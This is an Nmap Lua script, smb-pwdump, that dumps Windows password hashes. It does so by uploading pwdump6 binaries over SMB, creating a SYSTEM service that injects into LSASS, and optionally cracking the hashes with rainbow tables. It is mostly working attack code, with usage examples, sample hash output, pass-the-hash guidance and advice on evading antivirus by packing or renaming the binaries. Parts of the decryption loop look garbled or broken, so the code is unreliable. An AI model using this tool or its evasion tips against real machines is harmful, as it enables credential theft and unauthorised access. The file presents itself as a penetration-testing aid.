description = [[ This script implements the functionality found in pwdump.exe, written by the Foofus group. Essentially, it works by using pwdump6's modules (servpw.exe and lsremora.dll) to dump the password hashes for a remote machine. This currently works against Windows 2000 and Windows 2003. To run this script, the executable files for pwdump, servpw.exe and lsremora.dll, have to be downloaded. These can be found at , and version 1.6 has been tested. Those two files should be placed in nmap's nselib data directory, .../nselib/data/. Note that these files will likely trigger antivirus software -- if you want to get around that, I recommend compiling your own version or obfuscating/encrypting/packing them (upx works wonders). Another possible way around antivirus software is to change the filenames (especially on the remote system -- triggering antivirus on the remote system can land you with some questions to answer). To do that, simply change the FILE* constants in smb-pwdump.nse. The hashes dumped are Lanman and NTLM, and they're in the format Lanman:NTLM. If one or the other isn't set, it's indicated. These are the hashes that are stored in the SAM file on Windows, and can be used in place of a password to log into systems (this technique is called "passing the hash", and can be done in Nmap by using the smbhash argument instead of smbpassword -- see smbauth.lua for more information. In addition to directly using the hashes, the hashes can also be cracked. Hashes can be cracked fairly easily with Rainbow Crack (rcrack) or John the Ripper (john). If you intend to crack the hashes without smb-pwdump.nse's help, I suggest setting the strict parameter to '1', which tells smb-pwdump.nse to print the hashes in pwdump format (except for the leading pipe '|', which Nmap adds). Alternatively, you can tell the script to crack the passwords using the rtable argument. For example: nmap -p445 --script=smb-pwdump --script-args=smbuser=ron,smbpass=iagotest2k3,rtable=/tmp/alpha/*.rt This assumes that 'rcrack' is installed in a standard place -- if not, the rcrack parameter can be set to the path. The charset.txt file from Rainbow Crack may also have to be in the current directory. This script works by uploading the pwdump6 program to a fileshare, then establishing a connection to the service control service (SVCCTL) and creating a new service, pointing to the pwdump6 program (this sounds really invasive, but it's identical to how pwdump6, fgdump, psexec, etc. work). The service runs, and sends back the data. Once the service is finished, the script will stop the service and delete the files. Obviously, this script is highly intrusive (and requires administrative privileges). It's running a service on the remote machine (with SYSTEM-level access) to accomplish its goals, and the service injects itself into the LSASS process to collect the needed information. That being said, extra effort was focused on cleaning up. Unless something really bad happens (which is always possible with a script like this), the service will be removed and the files deleted. Currently, this will only run against server versions of Windows (Windows 2000 and Windows 2003). I (Ron Bowes) am hoping to make Windows XP work, but I've had nothing but trouble. Windows Vista and higher won't ever work, because they disable the SVCCTL process. This script was written mostly to highlight Nmap's growing potential as a pen-testing tool. It complements the smb-brute.nse script because smb-brute can find weak administrator passwords, then smb-pwdump.nse can use those passwords to dump hashes/passwords. Those can be added to the password list for more brute forcing. Since this tool can be dangerous, and can easily be viewed as a malicious tool, the usual disclaimer applies -- use this responsibly, and especially don't break any laws with it. ]] --- -- @usage -- nmap --script smb-pwdump.nse --script-args=smbuser=,smbpass= -p445 -- sudo nmap -sU -sS --script smb-pwdump.nse --script-args=smbuser=,smbpass= -p U:137,T:139 -- -- @output -- | smb-test: -- | Administrator:500:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC::: -- | ASPNET:1001:359E64F7361B678C283B72844ABF5707:49B784EF1E7AE06953E7A4D37A3E9529::: -- | blankadmin:1003:NO PASSWORD*********************:NO PASSWORD*********************::: -- | blankuser:1004:NO PASSWORD*********************:NO PASSWORD*********************::: -- | Guest:501:NO PASSWORD*********************:NO PASSWORD*********************::: -- | Ron:1000:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC::: -- |_ test:1002:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC::: -- -- @args rcrack Override the location checked for the Rainbow Crack program. By default, uses the default -- directories searched by Lua (the $PATH variable, most likely) -- @args rtable Set the path to the Rainbow Tables; for example, /tmp/rainbow/*.rt. -- @args strict If set to '1', enable strict output. All output will be in pure pwdump format, -- except for the leading pipe. ----------------------------------------------------------------------- author = "Ron Bowes" copyright = "Ron Bowes" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"intrusive"} require 'msrpc' require 'smb' require 'stdnse' local SERVICE = "nmap-pwdump" local PIPE = "nmap-pipe" local FILE1 = "nselib/data/lsremora.dll" local FILENAME1 = "lsremora.dll" local FILE2 = "nselib/data/servpw.exe" local FILENAME2 = "servpw.exe" hostrule = function(host) return smb.get_port(host) ~= nil end ---Stop/delete the service and delete the service file. This can be used alone to clean up the -- pwdump stuff, if this crashes. function cleanup(host) local status, err stdnse.print_debug(1, "Entering cleanup() -- errors here can generally be ignored") -- Try stopping the service status, err = msrpc.service_stop(host, SERVICE) if(status == false) then stdnse.print_debug(1, "Couldn't stop service: %s", err) end -- os.exit() -- Try deleting the service status, err = msrpc.service_delete(host, SERVICE) if(status == false) then stdnse.print_debug(1, "Couldn't delete service: %s", err) end -- Delete the files status, err = smb.file_delete(host, "C$", "\\" .. FILENAME1) if(status == false) then stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME1, err) end status, err = smb.file_delete(host, "C$", "\\" .. FILENAME2) if(status == false) then stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME2, err) end stdnse.print_debug(1, "Leaving cleanup()") return true end function upload_files(host) local status, err status, err = smb.file_upload(host, FILE1, "C$", "\\" .. FILENAME1) if(status == false) then cleanup(host) return false, string.format("Couldn't upload %s: %s\n", FILE1, err) end status, err = smb.file_upload(host, FILE2, "C$", "\\" .. FILENAME2) if(status == false) then cleanup(host) return false, string.format("Couldn't upload %s: %s\n", FILE2, err) end return true end function read_and_decrypt(host, key, pipe) local status, smbstate local results = {} -- Create the SMB session status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH) if(status == false) then return false, smbstate end local i = 1 repeat local status, wait_result, create_result, read_result, close_result results[i] = {} -- Wait for some data to show up on the pipe (there's a bit of a race condition here -- if this is called before the pipe is -- created, it'll fail with a STATUS_OBJECT_NAME_NOT_FOUND. local j = 1 repeat status, wait_result = smb.send_transaction_waitnamedpipe(smbstate, 0, "\\PIPE\\" .. pipe) if(status ~= false) then break end stdnse.print_debug(1, "WaitForNamedPipe() failed: %s (this may be normal behaviour)", wait_result) j = j + 1 -- TODO: Wait 50ms, if there's a time when we get an actual sleep()-style function. until status == true if(j == 100) then smbstop(smbstate) return false, "WaitForNamedPipe() failed, service may not have been created properly." end -- Get a handle to the pipe status, create_result = smb.create_file(smbstate, "\\" .. pipe) if(status == false) then smb.stop(smbstate) return false, create_result end status, read_result = smb.read_file(smbstate, 0, 1000) if(status == false) then -- TODO: Figure out how to handle errors better return false, read_result else local data = read_result['data'] local code = string.byte(string.sub(data, 1, 1)) if(code == 0) then break elseif(code == 2) then local cUserBlocks = string.byte(string.sub(data, 3, 3)) local userblock = "" for j = 0, cUserBlocks, 1 do local _, a, b = bin.unpack("II", a, b) local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted) _, a, b = bin.unpack("II", a, b) end local password_block = "" for j = 0, 3, 1 do local _, a, b = bin.unpack("II", a, b) local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted) _, a, b = bin.unpack("II", a, b) end _, results[i]['username'] = bin.unpack("z", userblock) _, results[i]['ntlm'] = bin.unpack("H16", password_block) _, results[i]['lm'] = bin.unpack("H16", password_block, 17) if(results[i]['lm'] == "AAD3B435B51404EEAAD3B435B51404EE") then results[i]['lm'] = "NO PASSWORD*********************" end if(results[i]['ntlm'] == "31D6CFE0D16AE931B73C59D7E0C089C0") then results[i]['ntlm'] = "NO PASSWORD*********************" end else stdnse.print_debug(1, "Unknown message code from pwdump: %d", code) end end status, close_result = smb.close_file(smbstate) if(status == false) then smb.stop(smbstate) return false, close_result end i = i + 1 until(1 == 2) smb.stop(smbstate) return true, results end -- TODO: Check for OpenSSL function go(host) local status, err local results local key local key = "" local i -- Start by cleaning up, just in case. cleanup(host) -- It seems that, in my tests, if a key contains either a null byte or a negative byte (>= 0x80), errors -- happen. So, at the cost of generating a weaker key (keeping in mind that it's already sent over the -- network), we're going to generate a key from printable characters only (we could use 0x01 to 0x1F -- without error, but eh? Debugging is easier when you can type the key in) local key_bytes = openssl.rand_bytes(16) for i = 1, 16, 1 do key = key .. string.char((string.byte(string.sub(key_bytes, i, i)) % 0x5F) + 0x20) end -- Upload the files status, err = upload_files(host) if(status == false) then stdnse.print_debug(1, "Couldn't upload the files: %s", err) cleanup(host) return false, string.format("Couldn't upload the files: %s", err) end -- Create the service status, err = msrpc.service_create(host, SERVICE, "c:\\servpw.exe") if(status == false) then stdnse.print_debug(1, "Couldn't create the service: %s", err) cleanup(host) return false, string.format("Couldn't create the service on the remote machine: %s", err) end -- Start the service status, err = msrpc.service_start(host, SERVICE, {PIPE, key, tostring(string.char(16)), tostring(string.char(0)), "servpw.exe"}) if(status == false) then stdnse.print_debug(1, "Couldn't start the service: %s", err) cleanup(host) return false, string.format("Couldn't start the service on the remote machine: %s", err) end -- Read the data status, results = read_and_decrypt(host, key, PIPE) if(status == false) then stdnse.print_debug(1, "Error reading data from remote service") cleanup(host) return false, string.format("Failed to read password data from the remote service: %s", err) end -- Clean up what we did cleanup(host) return true, results end ---Converts an array of accounts to a pwdump-like representation. --@param accounts The accounts array. It should have a list of tables, each with 'username', 'lm', and 'ntlm'. --@param strict If 'strict' is set to true, a true pwdump representation wiill be used; otherwise, a more user friendly one will. --@return A string in the standard pwdump format. function accounts_to_pwdump(accounts, strict) local str = "" for i=1, #accounts, 1 do if(accounts[i]['username'] ~= nil) then if(strict) then str = str .. string.format("%s:%s:%s:::\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm']) else if(accounts[i]['password']) then str = str .. string.format("%s => %s:%s (Password: %s)\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'], accounts[i]['password']) else str = str .. string.format("%s => %s:%s\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm']) end end end end return str end ---Run the 'rcrack' program and parse the output. This may sound simple, but the output of rcrack clearly -- wasn't designed to be scriptable, so it's a little difficult. But, it works, at least for 1.2. function rainbow(accounts, rcrack, rtable) local pwdump = accounts_to_pwdump(accounts, true) local pwdump_file = os.tmpname() local file local command = rcrack .. " " .. rtable .. " -f " .. pwdump_file -- Print a warning if 'charset.txt' isn't present file = io.open("charset.txt", "r") if(file == nil) then stdnse.print_debug(1, "WARNING: 'charset.txt' not found in current directory; rcrack may not run properly") else io.close(file) end -- Create the pwdump file stdnse.print_debug(1, "Creating the temporary pwdump file (%s)", pwdump_file) file, err = io.open(pwdump_file, "w") if(file == nil) then return false, err end file:write(pwdump) file:close() -- Start up rcrack stdnse.print_debug(1, "Starting rcrack (%s)", command) file, err = io.popen(command, "r") if(file == nil) then return false, err end for line in file:lines() do stdnse.print_debug(2, "RCRACK: %s\n", line) if(string.find(line, "hex:") ~= nil) then local start_hex1 = 0 local start_hex2 = 0 local hex1, hex2 local ascii1, ascii2 local password local i -- First, find the last place in the string that starts with "hex:" repeat local _, pos = string.find(line, " hex:", start_hex1) if(pos ~= nil) then start_hex1 = pos + 1 end until pos == nil -- Get the first part of the hex if(string.sub(line, start_hex1, start_hex1 + 9) == "") then -- If it wasn't found, then set it as such and go to after the "not found" part ascii1 = "" start_hex2 = start_hex1 + 10 else -- If it was found, convert to ascii ascii1 = bin.pack("H", string.sub(line, start_hex1, start_hex1 + 13)) start_hex2 = start_hex1 + 14 end -- Get the second part of the hex if(string.sub(line, start_hex2) == "") then ascii2 = "" elseif(string.sub(line, start_hex2, start_hex2 + 9) == "") then -- It wasn't found ascii2 = "" else -- It was found, convert to ascii ascii2 = bin.pack("H", string.sub(line, start_hex2, start_hex2 + 13)) end -- Join the two halves of the password together password = ascii1 .. ascii2 -- Figure out the username (it's the part that is followed by a bunch of spaces then the password) i = string.find(line, " +" .. password) username = string.sub(line, 1, i - 1) -- Finally, find the username in the account table and add our entry for i=1, #accounts, 1 do if(accounts[i]['username'] ~= nil) then if(string.find(accounts[i]['username'], username .. ":%d+$") ~= nil) then accounts[i]['password'] = password end end end end end -- Close the process handle file:close() -- Remove the pwdump file os.remove(pwdump_file) return true, accounts end action = function(host) local status, results local response = " \n" local rcrack = "rcrack" local rtable = nil -- Check if we have the necessary files if(nmap.fetchfile(FILE1) == nil or nmap.fetchfile(FILE2) == nil) then local err = " \n" err = err .. string.format("Couldn't run smb-pwdump.nse, missing required file(s):\n") if(nmap.fetchfile(FILE1) == nil) then err = err .. "- " .. FILE1 .. "\n" end if(nmap.fetchfile(FILE2) == nil) then err = err .. "- " .. FILE2 .. "\n" end err = err .. string.format("These are included in pwdump6 version 1.7.2:\n") err = err .. string.format("") return err end status, results = go(host) if(status == false) then return "ERROR: " .. results end -- Only try cracking if strict is turned off if(nmap.registry.args.strict == nil) then -- Override the rcrack program if(nmap.registry.args.rcrack ~= nil) then rcrack = nmap.registry.args.rcrack end -- Check if a table was passed if(nmap.registry.args.rtable ~= nil) then rtable = nmap.registry.args.rtable end -- Check a spelling mistake that I keep making if(nmap.registry.args.rtables ~= nil) then rtable = nmap.registry.args.rtables end -- Check if we actually got a table if(rtable ~= nil) then status, crack_results = rainbow(results, rcrack, rtable) if(status == false) then response = "ERROR cracking: " .. crack_results .. "\n" else results = crack_results end end response = response .. accounts_to_pwdump(results, false) else response = response .. accounts_to_pwdump(results, true) end return response end